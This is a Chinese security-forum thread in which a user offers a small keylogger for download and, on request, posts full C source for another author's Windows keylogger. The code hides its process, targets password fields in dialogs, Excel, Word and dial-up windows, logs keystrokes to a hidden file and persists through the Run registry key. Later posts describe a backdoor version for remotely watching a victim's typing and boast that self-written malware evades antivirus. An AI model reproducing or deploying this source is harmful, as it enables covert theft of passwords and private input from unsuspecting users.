论坛: 原创软件 标题: WinEggDropKeyLogV1.0 复制本贴地址    
作者: wineggdrop [wineggdrop]    论坛用户   登录
WinEggDrop KeyLog V1.0

很小型的一个键盘记录程序3k,大部分键盘的输入都能记录下来。
用法:
1. KeyLog 键值                   功能说明:安装自己,加一个值在run下
例如: KeyLog KeyLogger
      KeyLog "Win KeyLogger"

2.运行KeyLog.exe                 功能说明:运行自己
注意:程序本身会检测被运行时的身份,如果是local system权限的话,会自动退出;只有在一般的用户权限(admin,user,guest等权限)才会运行成功。不允许在local system中运行是因为就算运行后,在local system身份中程序是无法记录到任何输入的键值(网上99%的键盘记录程序都无法在local system权限下运行但又可以记录到输入的键值的.)

这只是一个在研究以服务启动的键盘记录程序时写的,因为程序还算很小,所以就公布一下。

下载:
     216.232.223.155/KeyLog.zip
     211.93.112.71/KeyLog.zip



地主 发表时间: 03/29 15:01

回复: ricky [ricky]   版主   登录
给我一个源码好吗

B1层 发表时间: 04/01 09:07

回复: wineggdrop [wineggdrop]   论坛用户   登录
下面的代码并不是我的,我的那个也不是基于这个代码写
出来的,但代码只是给你一种如何写键盘记录程序的思路。
代码如作者所说,是不稳定的(应该说是有很多bug的),很
多功能只是能用于win9x系统,在NT系统上是无效的,而且
很多键值也无法记录到的。


/*------------------------------------------------------------------ 
* GMK 0.0000000000000000000000000000000000000000001 (不稳定版) 

* 获取键盘输入密码、无聊时的作品 

* 作者:贾佳 65127779 - 15 


-------------------------------------------------------------------*/ 

#include <windows.h> 
#define KeyPMask 0x80000000 
#define SERVICE_PROC 1 
#define UNSERVICE_PROC 0 
#define RUN "\\GmkMon.exe" 


typedef struct tagKEYDATA{ 
char kKey; 
SHORT kShift; 
SHORT kCaps; 
SHORT kNum; 
BOOL bShift; 
BOOL bCaps; 
BOOL bNum; 
}KEYDATA,*LPKEYDATA; 

HHOOK hHook=NULL; 
DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD); 

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; 
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam); 

BOOL WINAPI HideProc(int mode) 

HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL"); 
if(DLLInst) 

RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) 
GetProcAddress(DLLInst,"RegisterServiceProcess"); 
if(RegisterServiceProcess) 

RegisterServiceProcess(GetCurrentProcessId(),mode); 
return TRUE; 

else 
return FALSE; 

else return FALSE; 



BOOL WINAPI IsPassWindow() 

HWND hWnd,curHwnd; 
TCHAR szTemp[MAX_PATH]; 
DWORD dwsTyle; 

hWnd=GetActiveWindow(); 

if(hWnd==NULL) return FALSE; 
curHwnd =hWnd; 
while(curHwnd!=NULL) 

hWnd=curHwnd; 
curHwnd=GetParent(hWnd); 



dwsTyle=GetWindowLong(hWnd,GWL_STYLE); 
if(dwsTyle & ES_PASSWORD) //普通密码框 
return TRUE; 
else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码 
return TRUE; 
else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU)) 
return TRUE; //WORD密码 

GetWindowText(hWnd,szTemp, sizeof(szTemp)); 
if(!strncmp(szTemp,"连接到",6)) //拨号网络 
return TRUE; 

return FALSE; 



TCHAR WINAPI GetKey(int nKey) 

KEYDATA kd; 

kd.kShift=GetKeyState(VK_SHIFT); 
kd.kCaps=GetKeyState(0x14); 
kd.kNum=GetKeyState(0x90); 

kd.bShift=(kd.kShift & KeyPMask)==KeyPMask; 
kd.bCaps=(kd.kCaps & 1)==1; 
kd.bNum=(kd.kNum & 1)==1; 

if(nKey>=48 && nKey<=57) 
if(!kd.bShift) return (kd.kKey=nKey); 

if(nKey>=65 && nKey<=90) 

if(!kd.bCaps) 
if(kd.bShift) kd.kKey=nKey; 
else kd.kKey=nKey+32; 
else if (kd.bShift) kd.kKey=nKey+32; 
else kd.kKey=nKey; 

return kd.kKey; 


if(nKey>=96 && nKey<=105) // 小键盘0-9 
if(kd.bNum) 
return (kd.kKey=(nKey-96+48)); 


if(nKey>=186 && nKey<=222) // 其他键 

switch(nKey) 

case 186: 
if(!kd.bShift) kd.kKey=';';else kd.kKey=':'; 
break; 

case 187: 
if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ; 
break; 

case 188: 
if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ; 
break; 

case 189: 
if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ; 
break; 

case 190: 
if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ; 
break; 

case 191: 
if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ; 
break; 

case 192: 
if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ; 
break; 

case 219: 
if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ; 
break; 

case 220: 
if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ; 
break; 

case 221: 
if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ; 
break; 

case 222: 
if (!kd.bShift) kd.kKey='\\'; else kd.kKey='\\'; 
break; 

default:kd.kKey='n' ;break; 

if(kd.kKey!='n') return kd.kKey; 





void WINAPI WritePassFile(int nKey) 

HANDLE hFile; 
DWORD dwBytesWrite=1; 
TCHAR lpStr,szTemp[MAX_PATH]; 

hFile=CreateFile("C:\\passdata.txt", 
GENERIC_READ|GENERIC_WRITE, 
FILE_SHARE_WRITE, 
NULL, 
OPEN_ALWAYS, 
FILE_ATTRIBUTE_HIDDEN, 
NULL 
); 

SetFilePointer(hFile,0,NULL,FILE_END); 
lpStr=GetKey(LOBYTE(nKey)); 
WriteFile(hFile,&lpStr,1,&dwBytesWrite,0); 
CloseHandle(hFile); 



void WINAPI InstallHook(HINSTANCE hInstance) 

if(hHook==NULL) 
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0); 



void WINAPI UninstallHook() 

if(hHook!=NULL) 
UnhookWindowsHookEx(hHook); 



LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam) 


EVENTMSG *pMess=(EVENTMSG *)lParam; 
POINT pt; 


switch(pMess->message) 

case WM_KEYDOWN: 
if(IsPassWindow()) 
WritePassFile(LOBYTE(pMess->paramL)); 
break; 

case WM_LBUTTONDBLCLK: 
GetCursorPos(&pt); 
break; 


return CallNextHookEx(hHook,nCode,wParam,lParam); 



int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 
PSTR szCmdLine, int iCmdShow) 



HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne"); 
if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){ 
ExitProcess(1); 


static char szAppName[] = "jiajia" ; 
HWND hwnd ; 
MSG msg ; 
WNDCLASSEX wndclass ; 
HKEY hKey=0; 
DWORD disp=0; 
LONG lResult; 
TCHAR szKey[MAX_PATH]; 
TCHAR szSysDir[MAX_PATH+25]; 
TCHAR szFileName[MAX_PATH]; 

wndclass.cbSize = sizeof (wndclass) ; 
wndclass.style = CS_HREDRAW | CS_VREDRAW ; 
wndclass.lpfnWndProc = WndProc ; 
wndclass.cbClsExtra = 0 ; 
wndclass.cbWndExtra = 0 ; 
wndclass.hInstance = hInstance ; 
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ; 
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ; 
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ; 
wndclass.lpszMenuName = NULL ; 
wndclass.lpszClassName = szAppName ; 
wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ; 

RegisterClassEx(&wndclass); 

hwnd=CreateWindow( szAppName, "jia jia", 
WS_OVERLAPPEDWINDOW, 
CW_USEDEFAULT, CW_USEDEFAULT, 
CW_USEDEFAULT, CW_USEDEFAULT, 
NULL, NULL, hInstance, NULL 
); 

ShowWindow(hwnd,SW_HIDE); 
UpdateWindow(hwnd); 
HideProc(SERVICE_PROC); 
InstallHook(hInstance); 

GetSystemDirectory(szSysDir,MAX_PATH); 
lstrcat(szSysDir,RUN); 
GetModuleFileName(NULL,szFileName,MAX_PATH); 
CopyFile(szFileName,szSysDir,FALSE); 

lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); 
lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE, 
szKey, 
0, 
NULL, 
REG_OPTION_VOLATILE, 
KEY_ALL_ACCESS, 
NULL, 
&hKey, 
&disp 
); 

if(lResult==ERROR_SUCCESS) 

lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir)); 
RegCloseKey(hKey); 



while (GetMessage (&msg, NULL, 0, 0)) 

TranslateMessage (&msg) ; 
DispatchMessage (&msg) ; 

return msg.wParam ; 



LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) 


switch (iMsg) 

case WM_PAINT: 
return 0 ; 

case WM_DESTROY: 
UninstallHook(); 
PostQuitMessage (0) ; 
return 0 ; 


return DefWindowProc(hwnd,iMsg,wParam,lParam); 




B2层 发表时间: 04/01 12:25

回复: NetDemon [netdemon]   ADMIN   登录
呵呵,病毒这个家伙....

B3层 发表时间: 04/01 16:22

回复: sainthero [sainthero]   论坛用户   登录
你的程序我没有运行过
但是同样的钩子程序我用delphi写过
产生的按键记录会重复,因为要处理两个消息,wm_keydown wm_keyup
当然,如果你按键比较快例外

B4层 发表时间: 04/01 22:57

回复: wineggdrop [wineggdrop]   论坛用户   登录
SetWindowsHookEx可以钩15种不同的钩子,有至少6种是钩住
键盘的,不是每一种都是处理keydown和keyup的,而且也不是
每一种都适用所有win系统的,有的只是适用于NT系统的。
我那个是不用处理keydown和keyup等的,也不会出现重复
记录(除非你将程序运行了两次),不过这个程序并不是完美的
,因为一些系统的键,如shift,CTRl等还不是经过精心处理的,不过
一个3k的程序,就不要有太高的期望了,新的版本是有后门
功能(可以直接telnet上去直接看对方的输入),而且对于系统组合键(几乎所有
组合键,shift,ctrl,pause,home等等都经过处理)都做了处理。

B5层 发表时间: 04/02 06:57

回复: ricky [ricky]   版主   登录
不错,我一直想写,你给的那段代码我很久以前就看过了,最近比较忙,没法写,我的原则是,凡是要在别人机器里运行的东东,一概不发上来,以免上了病毒库。哈哈,你说呢

B6层 发表时间: 04/03 15:02

回复: wineggdrop [wineggdrop]   论坛用户   登录
自己写出来的程序是永远不会被杀的,就算被杀,只要有源
程序,可以保证不会被杀。

B7层 发表时间: 04/03 20:02

回复: wineggdrop [wineggdrop]   论坛用户   登录
自己写出来的程序是永远不会被杀的,就算被杀,只要有源
程序,可以保证不会被杀。

B8层 发表时间: 04/03 20:03

论坛: 原创软件

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号